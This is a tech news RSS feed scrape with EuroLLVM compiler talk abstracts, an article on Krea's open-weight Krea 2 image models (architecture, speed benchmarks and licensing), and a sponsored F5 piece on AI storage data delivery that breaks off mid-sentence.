<guid isPermaLink="true">https://tsecurity.de/de/3620232/linux-tipps/linux-on-older-hardware-the-complete-revival-guide-2026/</guid>
<pubDate>Wed, 24 Jun 2026 06:54:31 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Revive your old PC with Linux in 2026. I tested lightweight distros, zram tuning, SSD upgrades, and browser optimization on a 2014 ThinkPad to show you exactly what works.]]></content:encoded>
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<item>
<title><![CDATA[2026 EuroLLVM - Improving DemandedBits Analysis for Shift Operations in LLVM]]></title>
<description><![CDATA[Author: LLVM - Bewertung: 0x - Views:1 2026 EuroLLVM Developers' Meeting
https://llvm.org/devmtg/2026-04/
------
Title: Improving DemandedBits Analysis for Shift Operations in LLVM
Speaker: Panagiotis Karouzakis
------
Slides:  https://llvm.org/devmtg/2026-04/slides/lightning_talk/lightning_talk_...]]></description>
<link>https://tsecurity.de/de/3620056/it-security-video/2026-eurollvm-improving-demandedbits-analysis-for-shift-operations-in-llvm/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3620056/it-security-video/2026-eurollvm-improving-demandedbits-analysis-for-shift-operations-in-llvm/</guid>
<pubDate>Wed, 24 Jun 2026 04:33:42 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: LLVM - Bewertung: 0x - Views:1 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/TfZQ8vS00JM?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>2026 EuroLLVM Developers' Meeting<br />
https://llvm.org/devmtg/2026-04/<br />
------<br />
Title: Improving DemandedBits Analysis for Shift Operations in LLVM<br />
Speaker: Panagiotis Karouzakis<br />
------<br />
Slides:  https://llvm.org/devmtg/2026-04/slides/lightning_talk/lightning_talk_karouzakis.pdf<br />
-----<br />
The DemandedBits analysis is utilized in some optimization passes, such as vectorization and dead code elimination; a similar analysis is employed in InstCombine. We improve DemandedBits reasoning for all basic shift operations, enabling more precise bit-level information propagation. Our improvements reduced code size, enabled additional loop-invariant code motion, and lead to more instruction-level simplifications.<br />
-----<br />
Videos Edited by Bash Films: http://www.BashFilms.com<br/></p>]]></content:encoded>
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<item>
<title><![CDATA[2026 EuroLLVM - Scaling Certified Instruction Selection For LLVM IR Through Bitblasting]]></title>
<description><![CDATA[Author: LLVM - Bewertung: 0x - Views:0 2026 EuroLLVM Developers' Meeting
https://llvm.org/devmtg/2026-04/
------
Title: Scaling Certified Instruction Selection For LLVM IR Through Bitblasting
Speaker: Sarah Linh Kuhn, Luisa Cicolini
------
Slides:  https://llvm.org/devmtg/2026-04/slides/technical...]]></description>
<link>https://tsecurity.de/de/3620036/it-security-video/2026-eurollvm-scaling-certified-instruction-selection-for-llvm-ir-through-bitblasting/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3620036/it-security-video/2026-eurollvm-scaling-certified-instruction-selection-for-llvm-ir-through-bitblasting/</guid>
<pubDate>Wed, 24 Jun 2026 04:03:29 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: LLVM - Bewertung: 0x - Views:0 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/-S03RxeDgNE?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>2026 EuroLLVM Developers' Meeting<br />
https://llvm.org/devmtg/2026-04/<br />
------<br />
Title: Scaling Certified Instruction Selection For LLVM IR Through Bitblasting<br />
Speaker: Sarah Linh Kuhn, Luisa Cicolini<br />
------<br />
Slides:  https://llvm.org/devmtg/2026-04/slides/technical_talk/technical_talk_cicolini_kuhn.pdf<br />
-----<br />
Instruction selection is responsible for turning high-level languages into efficient, reliable machine code. Yet, today's LLVM backends often introduce subtle bugs through complex optimizing rewrites which are coupled with code generation passes. Fully verified backends like CompCert's avoid these issues at the cost of heavy, complex manual proofs.<br />
<br />
We present an LLVM instruction selector verified in Lean, which benefits from a small trusted base, strong automation, and relies on authoritative RISC-V semantics. Using Sail's new Lean backend, we formalize the RISC-V ISA and automatically verify real LLVM instruction selection and optimization patterns, exploiting Lean's bitvector library and its verified bitblaster. Our selector achieves performance comparable to LLVM's GlobalISel (11.9% more cycles estimated with MCA, geomean) while providing machine-checked correctness. This demonstrates that practical, trustworthy verification can scale to modern, rapidly evolving compiler ecosystems.<br />
-----<br />
Videos Edited by Bash Films: http://www.BashFilms.com<br/></p>]]></content:encoded>
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<item>
<title><![CDATA[2026 EuroLLVM - Engineering a Hybrid Rust and MLIR Toolchain for AI Agents]]></title>
<description><![CDATA[Author: LLVM - Bewertung: 0x - Views:0 2026 EuroLLVM Developers' Meeting
https://llvm.org/devmtg/2026-04/
------
Title: Engineering a Hybrid Rust and MLIR Toolchain for AI Agents
Speaker: Miguel Cárdenas
------
Slides:  https://llvm.org/devmtg/2026-04/slides/lightning_talk/lightning_talk_cardena...]]></description>
<link>https://tsecurity.de/de/3620033/it-security-video/2026-eurollvm-engineering-a-hybrid-rust-and-mlir-toolchain-for-ai-agents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3620033/it-security-video/2026-eurollvm-engineering-a-hybrid-rust-and-mlir-toolchain-for-ai-agents/</guid>
<pubDate>Wed, 24 Jun 2026 04:03:25 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: LLVM - Bewertung: 0x - Views:0 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/74YVLRa5eSU?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>2026 EuroLLVM Developers' Meeting<br />
https://llvm.org/devmtg/2026-04/<br />
------<br />
Title: Engineering a Hybrid Rust and MLIR Toolchain for AI Agents<br />
Speaker: Miguel Cárdenas<br />
------<br />
Slides:  https://llvm.org/devmtg/2026-04/slides/lightning_talk/lightning_talk_cardenas.pdf<br />
-----<br />
Developing a compiler for Agentic AI workloads presents a unique challenge because the runtime demands the safety and ergonomics of Rust while the optimization pipeline requires the mature infrastructure of MLIR. This talk presents the architecture of a toolchain designed to leverage the strengths of both ecosystems. We discuss how we structured a hybrid build system where Rust drives the compilation process and defines runtime semantics, while C++ manages the core MLIR dialect and transformations. The session covers the practical engineering required to bridge these worlds, from orchestrating CMake and Cargo to managing the boundary between Rust runtime metadata and MLIR operation definitions. We share lessons learned about the complexity of linking, the tradeoffs of code generation, and the reality of maintaining a custom dialect across the language barrier.<br />
-----<br />
Videos Edited by Bash Films: http://www.BashFilms.com<br/></p>]]></content:encoded>
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<item>
<title><![CDATA[Enterprise-grade AI image generation in 2 seconds is here: Krea 2 Raw and Turbo available as open weights under custom license]]></title>
<description><![CDATA[While many enterprises have already begun integrating AI-generated images, visuals, graphics and videos into their production workflows — there is also a growing pool of data and subjective commentary indicating AI imagery ultimately looks non-distinct, monotonous, and too unoriginal to ensure a ...]]></description>
<link>https://tsecurity.de/de/3619526/it-nachrichten/enterprise-grade-ai-image-generation-in-2-seconds-is-here-krea-2-raw-and-turbo-available-as-open-weights-under-custom-license/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3619526/it-nachrichten/enterprise-grade-ai-image-generation-in-2-seconds-is-here-krea-2-raw-and-turbo-available-as-open-weights-under-custom-license/</guid>
<pubDate>Tue, 23 Jun 2026 22:31:39 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>While many enterprises have already begun integrating AI-generated images, visuals, graphics and videos into their production workflows — there is also a<a href="https://gizmodo.com/ai-image-generators-default-to-the-same-12-photo-styles-study-finds-2000702012"> growing pool of data</a> and subjective commentary indicating AI imagery ultimately looks non-distinct, monotonous, and too unoriginal to ensure a brand and its assets stand out from the pack. That it's "AI slop," in other words. </p><p>AI creative tools startup Krea is hoping to change that trend by<a href="https://x.com/krea_ai/status/2069435590995812396"> opening up the weights</a> to its new frontier AI image model Krea 2 as two versions, "<a href="https://huggingface.co/krea/Krea-2-Raw">Krea 2 Raw</a>" and "<a href="https://huggingface.co/krea/Krea-2-Turbo">Krea 2 Turbo</a>," under a <a href="https://huggingface.co/krea/Krea-2-Raw/blob/main/LICENSE.pdf">custom license </a>that requires firms with more than 50 seats to pay for Enterprise usage, and mandates all users of any size to implement technical safeguards to <!-- -->prevent the generation of illegal materials, non-consensual intimate imagery (NCII), child sexual abuse material (CSAM), or defamatory assets.</p><p>Both models are available for public download on <a href="https://huggingface.co/krea">Hugging Face</a>. The company says the models provide more visual variety than typical AI generators, while maintaining high prompt accuracy, fidelity, and quality. Importantly, they also offer enterprises and users the ability to customize the generative outputs much more than typical proprietary or even other open source models. </p><p>And, for those seeking to generate imagery at high-throughput, <a href="https://www.krea.ai/blog/krea-2-turbo">Krea 2 Turbo's generation speed is only 2 seconds</a>, making it among the fastest now available across open and proprietary AI image generation models.</p><h2><b>AI Image Generator API Speed &amp; Licensing Benchmarks (Mid-2026)</b></h2><table><tbody><tr><td><p><b>Model / Generator</b></p></td><td><p><b>Developer / Platform</b></p></td><td><p><b>Avg. Generation Time</b></p></td><td><p><b>Licensing &amp; Commercial Use</b></p></td><td><p><b>Key Characteristics</b></p></td></tr><tr><td><p>FLUX.1 [schnell] (fast)</p></td><td><p>Prodia</p></td><td><p>0.5 seconds</p></td><td><p>Open Weights (Apache 2.0).</p><p> Fully permissive for free commercial use.</p></td><td><p>Highly optimized endpoint utilizing step distillation to deliver sub-second generation times, representing the absolute floor for current API latency.</p></td></tr><tr><td><p>Z-Image Turbo</p></td><td><p>Replicate / fal.ai</p></td><td><p>1.8 seconds</p></td><td><p>Proprietary.</p><p> Commercial rights require active API usage contracts.</p></td><td><p>Designed for instantaneous inference bursts. Both Replicate and fal.ai achieve identical 1.8-second median times on this model.</p></td></tr><tr><td><p><b>Krea 2 Turbo</b></p></td><td><p><b>Krea</b></p></td><td><p><b>2.0 seconds</b></p></td><td><p><b>Open Weights / Proprietary Hybrid.</b></p><p><b> Available via platform trial or API.</b></p></td><td><p><b>Maintains the base model's compatibility with style references and LoRAs while utilizing Trajectory Distribution Matching (TDM) to accelerate the creative ideation loop.</b></p></td></tr><tr><td><p>Midjourney v8.1 (Turbo Mode)</p></td><td><p>Midjourney</p></td><td><p>3 – 6 seconds </p></td><td><p>Proprietary. Commercial use requires an active Standard, Pro, or Mega tier subscription. </p></td><td><p>Delivers generation speeds "three times faster than v8" while maintaining the model's signature "painterly realism with sophisticated lighting," though it requires a "higher credit cost". </p></td></tr><tr><td><p>FLUX.2 [klein] 4B</p></td><td><p>Black Forest Labs</p></td><td><p>3.9 seconds</p></td><td><p>Open Weights.</p><p> Permissive commercial use.</p></td><td><p>The lightweight 4-billion parameter variant of the FLUX.2 architecture, balancing prompt adherence with high-speed generation.</p></td></tr><tr><td><p>FLUX.2 [klein] 9B</p></td><td><p>Black Forest Labs</p></td><td><p>4.6 seconds</p></td><td><p>Open Weights.</p><p> Permissive commercial use.</p></td><td><p>The medium-weight 9-billion parameter open model. It scales up compositional intelligence while keeping generation firmly under the 5-second barrier.</p></td></tr><tr><td><p>MAI Image 2 Efficient</p></td><td><p>Microsoft</p></td><td><p>4 – 7 seconds </p></td><td><p>Proprietary. Commercial use requires consumption-based API billing via Azure AI Foundry. </p></td><td><p>A throughput-optimized variant explicitly designed to "out-pace Google’s Imagen Flash". It makes a slight trade-off in detail for "substantially lower latency" that suits "automated pipelines" perfectly. </p></td></tr><tr><td><p>Midjourney v8.1 (Fast Mode)</p></td><td><p>Midjourney</p></td><td><p>5 – 9 seconds </p></td><td><p>Proprietary. Commercial use requires an active Standard, Pro, or Mega tier subscription. </p></td><td><p>The standard operational mode for v8.1. Average wait times "consistently lands below 10 seconds for most prompts" while offering "excellent handling of complex multi-element scenes". </p></td></tr><tr><td><p>FLUX.2 [dev]</p></td><td><p>fal.ai / DeepInfra</p></td><td><p>6.1 – 6.4 seconds</p></td><td><p>Open Weights (Non-Commercial).</p><p> Strictly for research and non-commercial development.</p></td><td><p>The developer-focused research model. API endpoint optimizations cause slight variance, with fal.ai operating at 6.1 seconds and DeepInfra at 6.4 seconds.</p></td></tr><tr><td><p>Midjourney v8.1 (Relax Mode)</p></td><td><p>Midjourney</p></td><td><p>8 – 14 seconds </p></td><td><p>Proprietary. Commercial use requires an active Standard, Pro, or Mega tier subscription. </p></td><td><p>Processes standard 1024x1024 resolution images without consuming fast GPU hours. The model retains "strong compositional instincts" and "consistent color grading and mood". </p></td></tr><tr><td><p>FLUX.2 [pro]</p></td><td><p>Black Forest Labs</p></td><td><p>11.1 seconds</p></td><td><p>Proprietary.</p><p> Commercial rights require paid API consumption.</p></td><td><p>The closed, professional-grade tier. It drops extreme step-distillation to prioritize high-fidelity commercial rendering and strict spatial alignments.</p></td></tr><tr><td><p>Seedream 4.0</p></td><td><p>BytePlus</p></td><td><p>11.6 seconds</p></td><td><p>Proprietary.</p><p> Commercial use via BytePlus enterprise contracts.</p></td><td><p>The base commercial generation model for the Seedream architecture, focused on reliable, standard-resolution outputs.</p></td></tr><tr><td><p>MAI Image 2 Standard</p></td><td><p>Microsoft</p></td><td><p>12 – 20 seconds </p></td><td><p>Proprietary. Commercial use requires consumption-based API billing via Azure AI Foundry. </p></td><td><p>Operates as a "full-quality output optimized for photorealism". It acts as a literal renderer, delivering "high-fidelity skin tones and material textures" and "strong literal prompt adherence". </p></td></tr><tr><td><p>Nano Banana Pro (Gemini 3 Pro Image)</p></td><td><p>Google DeepMind</p></td><td><p>17.7 seconds</p></td><td><p>Proprietary.</p><p> Commercial rights granted via Gemini API terms.</p></td><td><p>Prioritizes exact semantic accuracy and prompt adherence through an extended reasoning phase, trading raw speed for complex contextual execution.</p></td></tr><tr><td><p>Seedream 4.5</p></td><td><p>BytePlus</p></td><td><p>18.2 seconds</p></td><td><p>Proprietary.</p><p> Commercial use via BytePlus enterprise contracts.</p></td><td><p>The upgraded high-fidelity variant, requiring an additional 6.6 seconds of compute time over the 4.0 version to refine complex textures and text rendering.</p></td></tr><tr><td><p>Krea 2 Large</p></td><td><p>Krea</p></td><td><p>23.7 seconds</p></td><td><p>Proprietary / Open Weights.</p><p> Commercial rights depend on deployment.</p></td><td><p>The un-distilled foundation model. It ignores the speed-focused Trajectory Distribution Matching of the Turbo variant to maximize aesthetic polish and structural stability.</p></td></tr><tr><td><p>FLUX.2 [max]</p></td><td><p>Black Forest Labs</p></td><td><p>25.6 seconds</p></td><td><p>Proprietary.</p><p> Closed enterprise API.</p></td><td><p>The heaviest parameter model in the FLUX lineup. It operates exclusively as a deep reasoning renderer for complex commercial assets.</p></td></tr><tr><td><p>GPT-Image-2</p></td><td><p>OpenAI</p></td><td><p>200.8 seconds</p></td><td><p>Proprietary.</p><p> Full commercial usage under standard OpenAI terms.</p></td><td><p>A massive outlier in the latency landscape. It dedicates over three minutes to complex, multi-step semantic reasoning, likely utilizing an expansive chain-of-thought process prior to finalizing pixel outputs.</p></td></tr></tbody></table><p><i>Sources: </i><a href="https://artificialanalysis.ai/image/models"><i>Artificial Analysis</i></a><i>, </i><a href="https://www.krea.ai/blog/krea-2-turbo"><i>Krea</i></a><i>, </i><a href="https://www.mindstudio.ai/blog/midjourney-v8-1-vs-microsoft-mai-image-2"><i>MindStudio.AI</i></a><i></i></p><h2><b>Architectural bifurcation and the 12B parameter Transformer</b></h2><p>At the <a href="https://www.krea.ai/blog/krea-2-technical-report">technical core</a> of the release sits an architectural framework built entirely from scratch: a Diffusion Transformer scaled to 12 billion parameters. </p><p>Rather than deploying a single, heavily fine-tuned model for all downstream tasks, Krea open-sources two highly differentiated checkpoints captured at distinct milestones of the model's training lifecycle.</p><p>Departing from multi-stream configurations for structural clarity, the core engine standardizes on a single-stream transformer block architecture wherein attention and MLP layers are shared natively between text and image tokens. </p><p>To maximize computational efficiency, Krea incorporates a SwiGLU MLP layer operating at a 4x expansion factor alongside Grouped-Query Attention (GQA) combined with gated sigmoid attention layers to stabilize training dynamics. </p><p>Timestep conditioning is heavily optimized; the network replaces traditional per-block MLP modules with a lightweight, per-block tunable bias term, successfully cutting total block modulation parameters by 20% to 30% and reallocating that parameter budget directly into core layers. </p><p>Positional encoding is managed via a 3D Axial Rotary Position Embedding (RoPE) scheme mapping across individual frame, height, and width coordinate</p><p><b>Krea 2 Raw </b>represents an undistilled base release checkpoint taken directly from the mid-training stage of the larger Krea 2 Medium development cycle. </p><p>Because it lacks post-training alignment, reinforcement learning from human feedback (RLHF), or final aesthetic distillation, Krea 2 Raw functions as a blank canvas. </p><p>It retains a vast, uncurated latent space that makes it poorly suited for immediate out-of-the-box prompting, but highly optimized for structural training. </p><p>Operating this model via the Hugging Face `diffusers` library requires a heavy compute footprint, executing via `Krea2Pipeline` in `torch.bfloat16` precision across 52 inference steps with a guidance scale of 3.5.</p><p>To accelerate early-stage architectural convergence during the first epoch of this 256px baseline training phase, Krea applied internal Representation Alignment (iREPA) techniques before decoupling them to let the underlying model develop independent structural representations.</p><p>The second checkpoint, <b>Krea 2 Turbo,</b> represents the opposite end of the optimization spectrum. </p><p>It is a distilled, post-trained variant derived from Krea 2 Medium. Through knowledge distillation, the network's complex multi-step generation sequence is compressed into an incredibly lean operational profile. </p><p>Krea 2 Turbo slashes the required generation cycle down to just 8 inference steps with a guidance scale of 0.0, enabling it to render native 2k resolution imagery on standard consumer-grade hardware in <b>approximately 2 seconds.</b></p><p>The underlying latent representations for both models are optimized through the integration of the Qwen Image VAE and the FLUX 2 VAE to guarantee rapid convergence while maintaining high reconstruction fidelity.</p><h2><b>Data and training</b></h2><p>The underlying dataset strategy for the Krea 2 family relies on a hybrid blend of publicly harvested data, third-party licensed image repositories, and highly curated synthetic datasets built via proprietary generation methods. </p><p>Prior to final training, Krea processed these collections through rigorous algorithmic filters designed to strip out duplicative frames, low-resolution media, and explicit or harmful material, ensuring high fidelity and strong prompt compliance across both models.</p><p>Krea enforces a <i>zero-synthetic data policy</i> within its primary pretraining mix. </p><p>To prevent the upper-bound quality limitations and output biases induced by AI-generated data, the engineering team deployed custom in-house filtering classifiers built on top of DINOv3 and SigLIP-2 architectures to completely purge synthetic images at scale. </p><p>Furthermore, rather than using traditional model-based aesthetic filters that inadvertently strip away artistic intents like motion blur, Krea preserves wide stylistic boundaries. </p><p>The team trained a Sparse Autoencoder (SAE) on SigLIP-2 embeddings to isolate and filter out genuine visual artifacts using an unsupervised tagging framework. </p><h2><b>Krea 2 Raw vs. Krea 2 Turbo: Distinctions and use cases</b></h2><p>The release establishes a highly deliberate operational paradigm for professional studios and independent creators: "train on Raw, generate with Turbo." This workflow leverages the unique architectural properties of both open-weight files to optimize both training accuracy and rendering speed.</p><p>In creative production pipelines, engineers can use Krea 2 Raw to train custom Low-Rank Adaptations (LoRAs) or domain-specific fine-tunes. </p><p>Because the Raw checkpoint contains no baked-in stylistic opinions or aggressive post-training constraints, it absorbs unique aesthetic directions—such as architectural drafting styles, specific brand assets, or complex lighting designs—with high fidelity and zero stylistic interference. </p><p>Once the training phase is complete, creators can port those exact LoRAs directly over to Krea 2 Turbo.</p><p>This methodology is reflected in Krea's own development ecosystem, which hosts an in-house collection of custom LoRAs trained entirely on the Raw foundation model but optimized for execution within Turbo workflows. </p><p>On the user-facing application layer, Krea integrates this dual-engine setup with a powerful style transfer system. Rather than relying on erratic text descriptions to achieve an artistic look, users can feed multiple style reference images directly into the system. </p><p>Krea 2 maps these references across its latent space, allowing creators to isolate individual aesthetic components, combine distinct moodboards, adjust style strength via generative sliders, and fine-tune batch variation levels to maintain visual cohesion across large-scale design iterations.</p><p>To address the gap between raw textual training captions and brief user inputs, Krea paired this suite with an advanced LLM Prompt Expander. Refined via Generalized Deep Q-Network Preference Optimization (GDPO) and trained on synthetic thinking traces to preserve intent reconstruction, the expander applies a photographic-medium bias to photorealistic requests and integrates an active DINOv3 embedding diversity score across rollout groups to prevent automated prompting routines from collapsing into a singular house style.</p><p>While Krea 2 Medium and Krea 2 Large remain the company's flagship models for high-fidelity composition and absolute stylistic adherence, Turbo fills the critical role of rapid visual ideation. </p><p>It serves as an interactive scratchpad for early concept creation, quick prompt experimentation, and iterative art direction where near-instantaneous feedback loops are required to maintain creative momentum.</p><h2><b>The custom license and its particulars</b></h2><p>The open-weight assets deploy under the <a href="https://huggingface.co/krea/Krea-2-Raw/blob/main/LICENSE.pdf">Krea 2 Community License Agreemen</a>t operating alongside an official Acceptable Use Policy. </p><p>At a macro level, this legal framework mirrors recent industry trends toward commercial-use permissions that target small businesses while restricting large enterprise exploitation. </p><p>The license explicitly permits individuals, independent creators, and <i>small</i> commercial companies to build applications, monetize generated imagery, and integrate the open weights directly into commercial software products without royalty obligations. </p><p>Furthermore, Krea states that it "does not claim copyright or other intellectual property rights over content generated by users of this model," leaving output ownership entirely in the hands of the operator.</p><p>For organizations scaling beyond this baseline, the ecosystem shifts into a paid, custom-tier structure. </p><p>While Krea's official documentation lacks a rigid revenue threshold defining a "large enterprise," the company structurally demarcates the boundary based on organizational footprint: standard commercial usage caps at a "Business" tier accommodating up to 50 seats. </p><p>Therefore, any entity requiring more than 50 seats, Single Sign-On (SSO) integrations, guaranteed Service Level Agreements (SLAs), or custom Data Processing Agreements (DPAs) qualifies as an Enterprise. </p><p>These larger entities fall outside the free Community License scope and must pay for a custom commercial license—operating under "Custom Terms of Service"—negotiated directly with Krea's sales team. </p><p>Additionally, developer access to Krea's official API remains entirely decoupled from the open-weights release; API usage operates as a distinct, paid service billed dynamically on a per-generation basis (measured in microdollars) and requires a prepaid USD balance independent of standard monthly compute subscriptions.</p><p>However, a close examination reveals a significant structural shift regarding legal and behavioral compliance for all self-hosted deployments. </p><p>Unlike traditional open-source permissions like the MIT or Apache 2.0 licenses—which grant unconditional usage rights and completely waive liability—the Krea 2 Community License implements strict downstream behavioral guardrails.</p><p>Because Krea relinquishes centralized control over the downstream deployment of its open weights, the contract legally binds deployers to enforce content moderation protocols at the infrastructure layer. </p><p>Under the terms of the agreement, any developer or platform hosting Krea 2 models must implement active input/output classifiers or equivalent content filtering mechanisms to actively prevent the generation of illegal materials, non-consensual intimate imagery (NCII), child sexual abuse material (CSAM), or defamatory assets. </p><p>Developers who fail to deploy these defensive safety layers stand in immediate breach of contract, giving Krea the explicit right to update model weights or revoke access to the model family entirely.</p><h2><b>Background on Krea</b></h2><p>Founded in 2022 by audiovisual systems engineering dropouts Víctor Perez and Diego Rodriguez Prado, San Francisco-based Krea initially captured market traction as a highly fluid user interface layer built to orchestrate disparate, third-party AI generative engines. </p><p>The startup's rapid scaling via product-led adoption culminated in an aggregate<a href="https://techcrunch.com/2025/04/07/kreas-founders-snubbed-postgrad-grants-from-the-king-of-spain-to-build-their-ai-startup-now-its-valued-at-500m/"> $83 million </a>in disclosed venture capital funding from major VCs including Andreessen Horowitz and Bain Capital Ventures, as well as early-stage institutional backers including Pebblebed, Abstract Ventures, and Gradient Ventures.</p><p>The company's user base surpassed <a href="https://www.krea.ai/">30 million individuals across 191 countries as of June 2026</a>, according to its website. </p><p>The open-weights launch of the Krea 2 model family represents the culmination of Krea’s deliberate evolution from a multi-model SaaS aggregator into a self-sustaining media research lab. </p><p>Early in its lifecycle, Krea focused on building workflow tools, editing systems, and a node-based automation pipeline that allowed digital artists to unify models from competitors like Runway, Midjourney, and Adobe under a single subscription. </p><p>However, to insulate itself against upstream platform dependencies and supplier margin pressures, the company aggressively shifted toward developing proprietary architectures. This transition began taking public shape in July 2025 with the open-weights release of the custom-curated FLUX.1 Krea checkpoint, followed in October 2025 by Krea Realtime 14B—an autoregressive video model distilled from Wan 2.1 capable of rendering 11 frames per second on localized enterprise hardware.</p><p>This underlying technical maturation parallels Krea's accelerating push into high-end enterprise workflows. Large-scale creative production operations have shifted toward treating Krea as core creative infrastructure; for example, the digital creative services platform </p><p><a href="https://www.youtube.com/watch?v=OLNbn4L2fUM">Superside reported migrating workflows</a> from fragmented open-source setups to route roughly 80 percent of its total AI generative production through Krea. </p><p>Furthermore, Krea established a strategic co-development partnership with Copenhagen-headquartered architecture firm <a href="https://henninglarsen.com/news/we-re-partnering-with-krea">Henning Larsen</a> to build highly restricted, domain-specific design tools tuned to meet the compliance frameworks mandated by the EU AI Act. </p><p>By releasing Krea 2 Raw and Turbo as open weights, Krea is continuing its expansion from an AI tools provider to being a model provider in its own right.</p><h2><b>An alternative to typical rigid AI imagery APIs?</b></h2><p>Creators are focusing heavily on the structural freedom offered by the unaligned Raw checkpoint, viewing it as an important alternative to the locked-down APIs provided by closed-source models.</p><p>Through the<a href="https://x.com/krea_ai/status/2069435590995812396"> official announcement on X,</a> Krea emphasized the foundational shift this launch represents for open AI workflows.</p><p>Developers note that by treating AI as an "actual creative medium" that feels "raw, flexible, unopinionated, and unconstrained," Krea is intentionally providing an infrastructure that creators can "break if [they] want to," moving far away from the rigid safety guardrails that frequently limit the visual range of competing enterprise tools.</p><p>As independent model builders begin compiling the Hugging Face repositories, the practical value of the release will be determined by how effectively the open-source community can scale customized LoRAs using Krea 2 Raw.</p><p>By providing clear commercial terms and lowering hardware entry barriers via Turbo's 8-step inference pipeline, Krea has introduced a highly competitive alternative to the open-weights market, challenging dominant models by prioritizing artistic control over centralized corporate alignment.</p>]]></content:encoded>
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<title><![CDATA[A proof of concept forgives a fragile data path. Operational AI does not.]]></title>
<description><![CDATA[Presented by F5When enterprises move AI workloads from pilot to production, data delivery often becomes the factor that determines whether those systems can scale reliably. Point-to-point architectures connecting storage directly to compute hold up under demonstration conditions, but they often b...]]></description>
<link>https://tsecurity.de/de/3618720/it-nachrichten/a-proof-of-concept-forgives-a-fragile-data-path-operational-ai-does-not/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3618720/it-nachrichten/a-proof-of-concept-forgives-a-fragile-data-path-operational-ai-does-not/</guid>
<pubDate>Tue, 23 Jun 2026 17:19:40 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><i>Presented by F5</i></p><hr><p>When enterprises move AI workloads from pilot to production, data delivery often becomes the factor that determines whether those systems can scale reliably. Point-to-point architectures connecting storage directly to compute hold up under demonstration conditions, but they often break down under sustained, concurrent production traffic. The result is stalled inference pipelines, delayed RAG systems, underutilized GPUs, and SLA violations, all of which carry direct business consequences. </p><p>"Organizations successfully operationalize AI when their infrastructure is built to handle real-world failures, not just controlled conditions," says Hunter Smit, senior manager of product marketing at F5. </p><h2>Production traffic exposes architectural weaknesses</h2><p>In a pilot, a stalled transfer is an inconvenience, while in production, that same stall is an outage someone now owns. The underlying architecture is often identical in both cases: when a client is wired directly to storage, the system becomes increasingly fragile under sustained, concurrent production traffic because that direct connection has no answer when a node fails or traffic spikes. From there, retries and timeouts cascade, and the entire pipeline backs up right at the moment the business is depending on the output.</p><p>"Point-to-point architectures, where the S3 client connects directly to S3 storage, are not resilient," says Paul Pindell, principal solutions architect for technology alliances at F5. "If a single storage node fails, all traffic to that cluster degrades, and in some cases the cluster can fail entirely."</p><p>The problem is that AI workflows, including RAG-based inference and agentic AI, increasingly treat S3 storage as a first-class citizen in the AI cluster. However, the network connectivity between that storage and the cluster was never designed for the high-throughput, uninterrupted data movement that's needed to keep GPUs running optimally.</p><h2>The real cost of stalled pipelines and underutilized GPUs</h2><p>"Enterprise leaders tend to frame AI infrastructure around GPU utilization, but what makes AI different from traditional deterministic workloads is that infrastructure continuously influences those outcomes at every interaction," says Tanu Mutreja, senior director of product management at F5. "In AI environments, infrastructure is no longer just a back-end concern. It shapes customer experience, quality, resilience, and cost with every transaction."</p><p>There can be significant business consequences. For instance, when inference pipelines stall, it becomes an SLA and customer experience issue. When RAG systems are delayed, models lose access to timely, relevant context, which results in inaccurate, outdated, or hallucinated responses, all of which create operational, compliance, and reputational risks. At the same time, the infrastructure issues that create those problems can also drive up costs by leaving expensive GPU resources idle or underutilized.</p><p>"When GPUs are underutilized, it signals infrastructure inefficiencies that inflate costs while limiting scalability and responsiveness," Mutreja says. "The leadership question is whether the end-to-end AI infrastructure consistently delivers reliable, secure, high-quality, and governed AI experiences at sustainable unit economics."</p><h2>Building a production-ready data delivery layer</h2><p>F5 treats data delivery as a first-class infrastructure layer rather than assuming the network path will simply work. Where application delivery optimized the flow of requests between users and applications, data delivery optimizes the flow of data between storage, networks, and compute, including AI compute. </p><p>Making data delivery a first-class layer means building three properties into it:</p><p>Observability provides real-time visibility into latency, throughput, and flow health.</p><p>Programmability enables policy-driven control over how data moves, through dynamic routing, traffic optimization, rate management, and automated failover. </p><p>Failure-awareness builds resilience for degraded networks, storage throttling, and service disruptions.</p><p>In the <a href="https://www.f5.com/resources/deployment-guides/f5-big-ip-ltm-dell-objectscale-s3-storage">architecture F5 has developed for Dell ObjectScale</a>, F5 BIG-IP sits between ObjectScale and AI compute as a programmable control point at the storage edge. </p><p>"We have seen cases where a misconfiguration in the AI compute layer effectively DDoS'd the S3 storage infrastructure, " Pindell says. "Not in a malicious way, more of an 'Oh no, what did I do?' moment, but it still took storage down for the entire organization." </p><p>Placing BIG-IP as the application delivery controller between the storage and compute layers protects storage with QoS, rate limits, and connection limits, keeping it resilient and operational under that kind of load. <a href="https://www.f5.com/go/report/validated-ai-data-delivery-resiliency-f5-big-ip-dell-objectscale">SecureIQLab-validated testing</a> confirmed that this protection does not come at the cost of throughput, which matters architecturally, Pindell says. </p><p>"Preserving, and even improving, throughput is a must-have," he explains. "It's what lets you layer on the higher-level functionality, resilience and enhanced security, without giving up performance to get 